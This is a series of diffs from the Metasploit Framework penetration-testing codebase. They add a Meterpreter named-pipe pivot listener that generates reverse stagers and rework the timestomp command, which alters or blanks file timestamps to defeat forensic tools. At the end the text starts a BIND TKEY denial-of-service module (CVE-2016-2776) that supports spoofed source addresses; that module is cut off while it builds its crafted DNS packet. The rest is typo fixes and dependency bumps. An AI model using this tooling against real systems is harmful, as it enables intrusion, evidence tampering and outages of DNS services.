listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
client.add_pivot_session(Pivot.new(client, session_guid, listener_id))
elsif packet.method == 'core_pivot_session_died'
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
pivot = client.find_pivot_session(session_guid)
if pivot
pivot.pivoted_session.kill('Died')
client.remove_pivot_session(session_guid)
end
end
true
end
end
def Pivot.get_listeners(client)
client.pivot_listeners
end
def Pivot.remove_listener(client, listener_id)
if client.find_pivot_listener(listener_id)
request = Packet.create_request('core_pivot_remove')
request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)
client.send_request(request)
client.remove_pivot_listener(listener_id)
end
end
def Pivot.create_named_pipe_listener(client, opts={})
request = Packet.create_request('core_pivot_add')
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
# TODO: use the framework to generate the whole lot, including a session type
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
# TODO: add more platforms
case opts[:platform]
when 'windows'
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
else
STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")
end
end
stage_opts = {
arch: opts[:arch],
force_write_handle: true,
null_session_guid: true,
datastore: {
exit_func: opts[:exit_func] || 'process',
expiration: client.expiration,
comm_timeout: client.comm_timeout,
retry_total: client.retry_total,
retry_wait: client.retry_wait,
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
# Create the migrate stager
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"
stage_config = "#{opts[:arch]}/#{opts[:platform]}"
pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
client.send_request(request)
client.add_pivot_listener(pivot_listener)
pivot_listener
end
def initialize(client, session_guid, listener_id)
self.client = client
opts = {
pivot_session: client,
session_guid: session_guid
}
listener = client.find_pivot_listener(listener_id)
self.pivoted_session = listener.session_class.new(nil, opts)
self.pivoted_session.framework = self.client.framework
self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})
self.client.framework.sessions.register(self.pivoted_session)
end
protected
#
# Cleans up any lingering resources
#
def cleanup
end
end
end; end; end
@@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
###
#
# This interface is meant to be included by things that are meant to contain
# zero or more pivot instances in the form of a hash.
#
###
module PivotContainer
#
# Initializes the pivot association hash
#
def initialize_pivots
self.pivot_sessions = {}
self.pivot_listeners = {}
end
#
# Adds a pivot to the container that is indexed by the pivoted
# session guid.
#
def add_pivot_session(pivot)
self.pivot_sessions[pivot.pivoted_session.session_guid] = pivot
end
def add_pivot_listener(listener)
self.pivot_listeners[listener.id] = listener
end
#
# Looks up a pivot instance based on its pivoted session guid.
#
def find_pivot_session(pivot_session_guid)
return self.pivot_sessions[pivot_session_guid]
end
def find_pivot_listener(listener_id)
return self.pivot_listeners[listener_id]
end
#
# Removes a pivot based on its pivoted session guid.
#
def remove_pivot_session(pivot_session_guid)
return self.pivot_sessions.delete(pivot_session_guid)
end
def remove_pivot_listener(listener_id)
return self.pivot_listeners.delete(listener_id)
end
#
# The hash of pivot sessions.
#
attr_reader :pivot_sessions
attr_reader :pivot_listeners
protected
attr_writer :pivot_sessions # :nodoc:
attr_writer :pivot_listeners # :nodoc:
end
end; end; end
@@ -83,6 +83,8 @@ class Console::CommandDispatcher::Core
if client.passive_service && client.sock.type? == 'tcp-ssl'
c['ssl_verify'] = 'Modify the SSL certificate verification setting'
end
c['pivot'] = 'Manage pivot listeners'
end
if client.platform == 'windows' || client.platform == 'linux'
@@ -119,6 +121,156 @@ class Console::CommandDispatcher::Core
'Core'
end
@@pivot_opts = Rex::Parser::Arguments.new(
'-t' => [true, 'Pivot listener type'],
'-i' => [true, 'Identifier of the pivot to remove'],
'-l' => [true, 'Host address to bind to (if applicable)'],
'-n' => [true, 'Name of the listener entity (if applicable)'],
'-a' => [true, 'Architecture of the stage to generate'],
'-p' => [true, 'Platform of the stage to generate'],
'-h' => [false, 'View help']
)
@@pivot_supported_archs = [ARCH_X64, ARCH_X86]
@@pivot_supported_platforms = ['windows']
def cmd_pivot_help
print_line('Usage: pivot <list|add|remove> [options]')
print_line
print_line('Manage pivot listeners on the target.')
print_line
print_line(@@pivot_opts.usage)
print_line
print_line('Supported pivot types:')
print_line(' - pipe (using named pipes over SMB)')
print_line('Supported arhiectures:')
@@pivot_supported_archs.each do |a|
print_line(' - ' + a)
end
print_line('Supported platforms:')
print_line(' - windows')
print_line
print_line("eg. pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a #{@@pivot_supported_archs.first} -p windows")
print_line(" pivot list")
print_line(" pivot remove -i 1")
print_line
end
def cmd_pivot(*args)
if args.length == 0 || args.include?('-h')
cmd_pivot_help
return true
end
opts = {}
@@pivot_opts.parse(args) { |opt, idx, val|
case opt
when '-t'
opts[:type] = val
when '-i'
opts[:guid] = val
when '-l'
opts[:lhost] = val
when '-n'
opts[:name] = val
when '-a'
opts[:arch] = val
when '-p'
opts[:platform] = val
end
}
# first parameter is the command
case args[0]
when 'remove', 'del', 'delete', 'rm'
unless opts[:guid]
print_error('Pivot listener ID must be specified (-i)')
return false
end
unless opts[:guid] =~ /^[0-9a-f]{32}/i && opts[:guid].length == 32
print_error("Invalid pivot listener ID: #{opts[:guid]}")
return false
end
listener_id = [opts[:guid]].pack('H*')
unless client.find_pivot_listener(listener_id)
print_error("Unknown pivot listener ID: #{opts[:guid]}")
return false
end
Pivot.remove_listener(client, listener_id)
print_good("Successfully removed pivot: #{opts[:guid]}")
when 'list', 'show', 'print'
if client.pivot_listeners.length > 0
tbl = Rex::Text::Table.new(
'Header' => 'Currently active pivot listeners',
'Indent' => 4,
'Columns' => ['Id', 'URL', 'Stage'])
client.pivot_listeners.each do |k, v|
tbl << v.to_row
end
print_line
print_line(tbl.to_s)
else
print_status('There are no active pivot listeners')
end
when 'add'
unless opts[:type]
print_error('Pivot type must be specified (-t)')
return false
end
unless opts[:arch]
print_error('Architecture must be specified (-a)')
return false
end
unless @@pivot_supported_archs.include?(opts[:arch])
print_error("Unknown or unsupported architecture: #{opts[:arch]}")
return false
end
unless opts[:platform]
print_error('Platform must be specified (-p)')
return false
end
unless @@pivot_supported_platforms.include?(opts[:platform])
print_error("Unknown or unsupported platform: #{opts[:platform]}")
return false
end
# currently only one pivot type supported, more to come we hope
case opts[:type]
when 'pipe'
pivot_add_named_pipe(opts)
else
print_error("Unknown pivot type: #{opts[:type]}")
return false
end
else
print_error("Unknown command: #{args[0]}")
end
end
def pivot_add_named_pipe(opts)
unless opts[:lhost]
print_error('Pipe host must be specified (-l)')
return false
end
unless opts[:name]
print_error('Pipe name must be specified (-n)')
return false
end
# reconfigure the opts so that they can be passed to the setup function
opts[:pipe_host] = opts[:lhost]
opts[:pipe_name] = opts[:name]
Pivot.create_named_pipe_listener(client, opts)
print_good("Successfully created #{opts[:type]} pivot.")
end
def cmd_sessions_help
print_line('Usage: sessions <id>')
print_line
@@ -2,141 +2,162 @@
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
module Post
module Meterpreter
module Ui
###
#
# This class provides commands that interact with the timestomp feature set of
# the privilege escalation extension.
#
###
class Console::CommandDispatcher::Priv::Timestomp
Klass = Console::CommandDispatcher::Priv::Timestomp
###
#
# This class provides commands that interact with the timestomp feature set of
# the privilege escalation extension.
#
###
class Console::CommandDispatcher::Priv::Timestomp
include Console::CommandDispatcher
Klass = Console::CommandDispatcher::Priv::Timestomp
@@timestomp_opts = Rex::Parser::Arguments.new(
"-m" => [ true, "Set the \"last written\" time of the file" ],
"-a" => [ true, "Set the \"last accessed\" time of the file" ],
"-c" => [ true, "Set the \"creation\" time of the file" ],
"-e" => [ true, "Set the \"mft entry modified\" time of the file" ],
"-z" => [ true, "Set all four attributes (MACE) of the file" ],
"-f" => [ true, "Set the MACE of attributes equal to the supplied file" ],
"-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
"-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
"-v" => [ false, "Display the UTC MACE values of the file" ],
"-h" => [ false, "Help banner" ]
)
include Console::CommandDispatcher
#
# List of supported commands.
#
def commands
{
"timestomp" => "Manipulate file MACE attributes"
}
end
@@timestomp_opts = Rex::Parser::Arguments.new(
"-m" => [ true, "Set the \"last written\" time of the file" ],
"-a" => [ true, "Set the \"last accessed\" time of the file" ],
"-c" => [ true, "Set the \"creation\" time of the file" ],
"-e" => [ true, "Set the \"mft entry modified\" time of the file" ],
"-z" => [ true, "Set all four attributes (MACE) of the file" ],
"-f" => [ true, "Set the MACE of attributes equal to the supplied file" ],
"-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
"-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
"-v" => [ false, "Display the UTC MACE values of the file" ],
"-h" => [ false, "Help banner" ])
#
# Name for this dispatcher.
#
def name
"Priv: Timestomp"
end
#
# List of supported commands.
#
def commands
{
"timestomp" => "Manipulate file MACE attributes"
}
end
#
# This command provides the same level of features that vinnie's command
# line timestomp interface provides with a similar argument set.
#
def cmd_timestomp(*args)
paths = []
#
# Name for this dispatcher.
#
def name
"Priv: Timestomp"
end
modified = nil
accessed = nil
creation = nil
emodified = nil
#
# This command provides the same level of features that vinnie's command
# line timestomp interface provides with a similar argument set.
#
def cmd_timestomp(*args)
if (args.length < 2)
print_line("\nUsage: timestomp OPTIONS file_path\n" +
@@timestomp_opts.usage)
return
end
blank_file_mace = false
blank_directory_mace = false
get_file_mace = false
help = false
file_path = nil
args.each { |a| file_path = a unless a[0] == "-" }
@@timestomp_opts.parse(args) do |opt, _idx, val|
case opt
when "-m"
modified = str_to_time(val)
when "-a"
accessed = str_to_time(val)
when "-c"
creation = str_to_time(val)
when "-e"
emodified = str_to_time(val)
when "-z"
modified = str_to_time(val)
accessed = str_to_time(val)
creation = str_to_time(val)
emodified = str_to_time(val)
when "-f"
print_status("Setting MACE attributes on #{path} from #{val}")
hash = client.priv.fs.get_file_mace(path)
if hash
modified = str_to_time(hash['Modified'])
accessed = str_to_time(hash['Accessed'])
creation = str_to_time(hash['Created'])
emodified = str_to_time(hash['Entry Modified'])
end
when "-b"
blank_file_mace = true
when "-r"
blank_directory_mace = true
when "-v"
get_file_mace = true
when "-h"
help = true
when nil
paths << val
end
end
if file_path.nil?
print_line("\nNo file_path specified.")
return
end
if paths.empty?
print_line("\nNo paths specified.")
return nil
end
args.delete(file_path)
if !(modified || accessed || creation || emodified ||
blank_file_mace || blank_directory_mace || get_file_mace) || help
print_line("\nUsage: timestomp <file(s)> OPTIONS\n" +
@@timestomp_opts.usage)
return nil
end
modified = nil
accessed = nil
creation = nil
emodified = nil
paths.uniq.each do |path|
# If any one of the four times were specified, change them.
if modified || accessed || creation || emodified
print_status("Setting specific MACE attributes on #{path}")
client.priv.fs.set_file_mace(path, modified, accessed, creation, emodified)
end
@@timestomp_opts.parse(args) { |opt, idx, val|
case opt
when "-m"
modified = str_to_time(val)
when "-a"
accessed = str_to_time(val)
when "-c"
creation = str_to_time(val)
when "-e"
emodified = str_to_time(val)
when "-z"
print_line("#{val}")
modified = str_to_time(val)
accessed = str_to_time(val)
creation = str_to_time(val)
emodified = str_to_time(val)
when "-f"
print_status("Setting MACE attributes on #{file_path} from #{val}")
client.priv.fs.set_file_mace_from_file(file_path, val)
when "-b"
print_status("Blanking file MACE attributes on #{file_path}")
client.priv.fs.blank_file_mace(file_path)
when "-r"
print_status("Blanking directory MACE attributes on #{file_path}")
client.priv.fs.blank_directory_mace(file_path)
when "-v"
hash = client.priv.fs.get_file_mace(file_path)
if blank_file_mace
print_status("Blanking file MACE attributes on #{path}")
client.priv.fs.blank_file_mace(path)
end
print_line("Modified : #{hash['Modified']}")
print_line("Accessed : #{hash['Accessed']}")
print_line("Created : #{hash['Created']}")
print_line("Entry Modified: #{hash['Entry Modified']}")
when "-h"
print_line("\nUsage: timestomp file_path OPTIONS\n" +
@@timestomp_opts.usage)
return
if blank_directory_mace
print_status("Blanking directory MACE attributes on #{path}")
client.priv.fs.blank_directory_mace(path)
end
if get_file_mace
hash = client.priv.fs.get_file_mace(path)
print_status("Showing MACE attributes for #{path}")
print_line("Modified : #{hash['Modified']}")
print_line("Accessed : #{hash['Accessed']}")
print_line("Created : #{hash['Created']}")
print_line("Entry Modified: #{hash['Entry Modified']}")
end
end
end
protected
#
# Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
#
def str_to_time(str) # :nodoc:
unless str.nil?
_r, mon, day, year, hour, min, sec =
str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
end
if str.nil? || mon.nil?
raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
end
Time.mktime(year, mon, day, hour, min, sec, 0)
end
end
end
}
# If any one of the four times were specified, change them.
if (modified or accessed or creation or emodified)
print_status("Setting specific MACE attributes on #{file_path}")
client.priv.fs.set_file_mace(file_path, modified, accessed,
creation, emodified)
end
end
protected
#
# Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
#
def str_to_time(str) # :nodoc:
r, mon, day, year, hour, min, sec = str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
if (mon == nil)
raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
end
Time.mktime(year, mon, day, hour, min, sec, 0)
end
end
end
end
end
end
@@ -894,13 +894,21 @@ class Console::CommandDispatcher::Stdapi::Sys
if args.include? "-h"
cmd_getprivs_help
end
print_line("=" * 60)
print_line("Enabled Process Privileges")
print_line("=" * 60)
table = Rex::Text::Table.new(
'Header' => 'Enabled Process Privileges',
'Indent' => 0,
'SortIndex' => 1,
'Columns' => ['Priv Name', 'Enabled']
)
privs = client.sys.config.getprivs
client.sys.config.getprivs.each do |priv|
print_line(" #{priv}")
table << [priv[:priv], priv[:enabled].to_s]
end
print_line("")
print_line
print_line(table.to_s)
end
#
+162
View File
@@ -0,0 +1,162 @@
#
# Copyright (c) 2008 Kyle Maxwell, contributors
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation
# files (the "Software"), to deal in the Software without
# restriction, including without limitation the rights to use,
# copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following
# conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
#
require "open-uri"
require "uri"
require "timeout"
require 'rex/logging/log_dispatcher'
# https://github.com/fizx/robots
class Robots
DEFAULT_TIMEOUT = 3
# Represents a parsed robots.txt file
class ParsedRobots
def initialize(uri, user_agent)
@last_accessed = Time.at(1)
io = Robots.get_robots_txt(uri, user_agent)
if !io || io.content_type != "text/plain" || io.status.first != "200"
io = StringIO.new("User-agent: *\nAllow: /\n")
end
@other = {}
@disallows = {}
@allows = {}
@delays = {} # added delays to make it work
agent = /.*/
io.each do |line|
next if line =~ /^\s*(#.*|$)/
arr = line.split(":")
key = arr.shift.to_s.downcase
value = arr.join(":").strip
value.strip!
case key
when "user-agent"
agent = to_regex(value)
when "allow"
@allows[agent] ||= []
@allows[agent] << to_regex(value)
when "disallow"
@disallows[agent] ||= []
@disallows[agent] << to_regex(value)
when "crawl-delay"
@delays[agent] = value.to_i
else
@other[key] ||= []
@other[key] << value
end
end
@parsed = true
end
def allowed?(uri, user_agent)
return true unless @parsed
allowed = true
path = uri.request_uri
@disallows.each do |key, value|
if user_agent =~ key
value.each do |rule|
allowed = false if path =~ rule
end
end
end
@allows.each do |key, value|
unless allowed
if user_agent =~ key
value.each do |rule|
if path =~ rule
allowed = true
end
end
end
end
end
if allowed && @delays[user_agent]
sleep @delays[user_agent] - (Time.now - @last_accessed)
@last_accessed = Time.now
end
return allowed
end
def other_values
@other
end
protected
def to_regex(pattern)
return /should-not-match-anything-123456789/ if pattern.strip.empty?
pattern = Regexp.escape(pattern)
pattern.gsub!(Regexp.escape("*"), ".*")
Regexp.compile("^#{pattern}")
end
end
def self.get_robots_txt(uri, user_agent)
begin
Timeout.timeout(Robots.timeout) do
begin
URI.join(uri.to_s, "/robots.txt").open("User-Agent" => user_agent)
rescue StandardError
nil
end
end
rescue Timeout::Error
dlog("robots.txt request timed out")
end
end
attr_writer :timeout
def self.timeout
@timeout || DEFAULT_TIMEOUT
end
def initialize(user_agent)
@user_agent = user_agent
@parsed = {}
end
def allowed?(uri)
uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
host = uri.host
@parsed[host] ||= ParsedRobots.new(uri, @user_agent)
@parsed[host].allowed?(uri, @user_agent)
end
def other_values(uri)
uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
host = uri.host
@parsed[host] ||= ParsedRobots.new(uri, @user_agent)
@parsed[host].other_values
end
end
+2 -4
View File
@@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.1'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.7'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.0'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.2'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@@ -171,8 +171,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-exploitation'
# Command line editing, history, and tab completion in msfconsole
spec.add_runtime_dependency 'rb-readline'
# Needed by anemone crawler
spec.add_runtime_dependency 'robots'
# Needed by some modules
spec.add_runtime_dependency 'rubyzip'
# Needed for some post modules
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This modules exploits a remote registry access flaw in the BackupExec Windows
Server RPC service. This vulnerability was discovered by Pedram Amini and is based
on the NDR stub information information posted to openrce.org.
on the NDR stub information posted to openrce.org.
Please see the action list for the different attack modes.
},
@@ -49,7 +49,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
@@ -46,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
'Description' => %q{
The Intersil extention in the Boa HTTP Server 0.93.x - 0.94.11
The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
allows basic authentication bypass when the user string is greater
than 127 bytes long. The long string causes the password to be
overwritten in memory, which enables the attacker to reset the
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system..
authenticated remote attacker to download any file in the system.
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
},
'Author' =>
@@ -61,7 +61,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
local files. This allows the user to read any files from the FS as the
user Openbravo is running as (generally not root).
This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6.
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
},
'Author' =>
[
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
super(
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
This module tests whether a directory traversal vulnerability is present
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
- 6.0.16 under specific and non-default installations. The connector must have
allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the
@@ -14,9 +14,9 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'WebNMS Framework Server Credential Disclosure',
'Description' => %q(
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
all user credentials. The first vulnerability is a unauthenticated file download
all user credentials. The first vulnerability is an unauthenticated file download
in the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the the passwords in the file are
credentials. The second vulnerability is that the passwords in the file are
obfuscated with a very weak algorithm which can be easily reversed.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
'Description' => %q{
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
users of any user level to set any system option via a lack of validation in the
users of any user level to set any system option via a lack of validation in the
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
to prevent any notifications being sent to the actual administrator during the attack,
+1 -1
View File
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Microsoft SQL Server Generic Query',
'Description' => %q{
This module will allow for simple SQL statements to be executed against a
MSSQL/MSDE instance given the appropiate credentials.
MSSQL/MSDE instance given the appropriate credentials.
},
'Author' => [ 'tebo <tebo[at]attackresearch.com>' ],
'License' => MSF_LICENSE,
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module will allow for multiple SQL queries contained within a specified
file to be executed against a Microsoft SQL (MSSQL) Server instance, given
the appropiate credentials.
the appropriate credentials.
},
'Author' => [ 'j0hn__f : <jf[at]tinternet.org.uk>' ],
'License' => MSF_LICENSE
+1 -1
View File
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Oracle SQL Generic Query',
'Description' => %q{
This module allows for simple SQL statements to be executed
against a Oracle instance given the appropriate credentials
against an Oracle instance given the appropriate credentials
and sid.
},
'Author' => [ 'MC' ],
+1 -1
View File
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
'Description' => %q{
This module exploits a command injection vulnerablility in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'PostgreSQL Server Generic Query',
'Description' => %q{
This module will allow for simple SQL statements to be executed against a
PostgreSQL instance given the appropiate credentials.
PostgreSQL instance given the appropriate credentials.
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE,
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
'Description' => %q{
The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
implements the protocol. This module implements the CPU STOP command, as well as
the ability to crash the Ethernet card in an affected device.
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'TikiWiki Information Disclosure',
'Description' => %q{
A vulnerability has been reported in Tikiwiki, which can be exploited by
a anonymous user to dump the MySQL user & passwd just by creating a mysql
an anonymous user to dump the MySQL user & passwd just by creating a mysql
error with the "sort_mode" var.
The vulnerability was reported in Tikiwiki version 1.9.5.
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
This module exploits a directory traversal in Webmin 1.580. The vulnerability
exists in the edit_html.cgi component and allows an authenticated user with access
to the File Manager Module to access arbitrary files with root privileges. The
module has been tested successfully with Webim 1.580 over Ubuntu 10.04.
module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.
},
'Author' => [
'Unknown', # From American Information Security Group
+1 -1
View File
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'BNAT Scanner',
'Description' => %q{
This module is a scanner which can detect Broken NAT (network address translation)
implementations, which could result in a inability to reach ports on remote
implementations, which could result in an inability to reach ports on remote
machines. Typically, these ports will appear in nmap scans as 'filtered'/'closed'.
},
'Author' =>
+26 -2
View File
@@ -18,10 +18,10 @@ class MetasploitModule < Msf::Auxiliary
Metasploit to interact with Hardware Devices. This extends
the normal exploit capabilities to the non-ethernet realm and
enables direct hardware and alternative bus manipulations. You
mush have compatible bridging hardware attached to this machine or
must have compatible bridging hardware attached to this machine or
reachable on your network to use any HWBridge exploits.
Use this exploit module to connect the the physical HWBridge which
Use this exploit module to connect the physical HWBridge which
will start an interactive hwbridge session. You can launch a hwbridge
server locally by using compliant hardware and executing the local_hwbridge
module. After that module has started, pass the HWBRIDGE_BASE_URL
@@ -104,6 +104,10 @@ class MetasploitModule < Msf::Auxiliary
if self.hw_specialty.has_key? 'rftransceiver'
sess.load_rftransceiver if self.hw_specialty['rftransceiver'] == true
end
sess.api_version = self.api_version if self.api_version
sess.fw_version = self.fw_version if self.fw_version
sess.hw_version = self.hw_version if self.hw_version
sess.device_name = self.device_name if self.device_name
end
#
@@ -129,6 +133,18 @@ class MetasploitModule < Msf::Auxiliary
if data.key? 'hw_capabilities'
self.hw_capabilities = data['hw_capabilities']
end
if data.key? 'api_version'
self.api_version = data['api_version']
end
if data.key? 'fw_version'
self.fw_version = data['fw_version']
end
if data.key? 'hw_vesrion'
self.hw_version = data['hw_version']
end
if data.key? 'device_name'
self.device_name = data['device_name']
end
end
end
end
@@ -153,9 +169,17 @@ class MetasploitModule < Msf::Auxiliary
attr_reader :hw_specialty
attr_reader :hw_capabilities
attr_reader :api_version
attr_reader :fw_version
attr_reader :hw_version
attr_reader :device_name
protected
attr_writer :hw_specialty
attr_writer :hw_capabilities
attr_writer :api_version
attr_writer :fw_version
attr_writer :hw_version
attr_writer :device_name
end
+1 -1
View File
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web Crawler',
'Description' => 'This auxiliary module is a modular web crawler, to be used in conjuntion with wmap (someday) or standalone.',
'Description' => 'This auxiliary module is a modular web crawler, to be used in conjunction with wmap (someday) or standalone.',
'Author' => 'et',
'License' => MSF_LICENSE
))
+99
View File
@@ -0,0 +1,99 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'BIND TKEY Query Denial of Service',
'Description' => %q{
A defect in the rendering of messages into packets can cause named to
exit with an assertion failure in buffer.c while constructing a response
to a query that meets certain criteria.
This assertion can be triggered even if the apparent source address
isn't allowed to make queries.
},
# Research and Original PoC - msf module author
'Author' => [
'Martin Rocha',
'Ezequiel Tavella',
'Alejandro Parodi',
'Infobyte Research Team'
],
'References' => [
['CVE', '2016-2776'],
['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']
],
'DisclosureDate' => 'Sep 27 2016',
'License' => MSF_LICENSE,
'DefaultOptions' => {'ScannerRecvWindow' => 0}
))
register_options([
Opt::RPORT(53),
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
])
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
end
def scan_host(ip)
if datastore['SRC_ADDR']
scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
else
print_status("Sending packet to #{ip}")
scanner_send(payload, ip, rport)
end
end
def payload
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query << "\x00\x00" # Flags: 0x0000 Standard query
query << "\x00\x01" # Questions: 1
query << "\x00\x00" # Answer RRs: 0
query << "\x00\x00" # Authority RRs: 0
query << "\x00\x01" # Additional RRs: 1
# Doman Name
query << get_domain # Random DNS Name
query << "\x00" # [End of name]
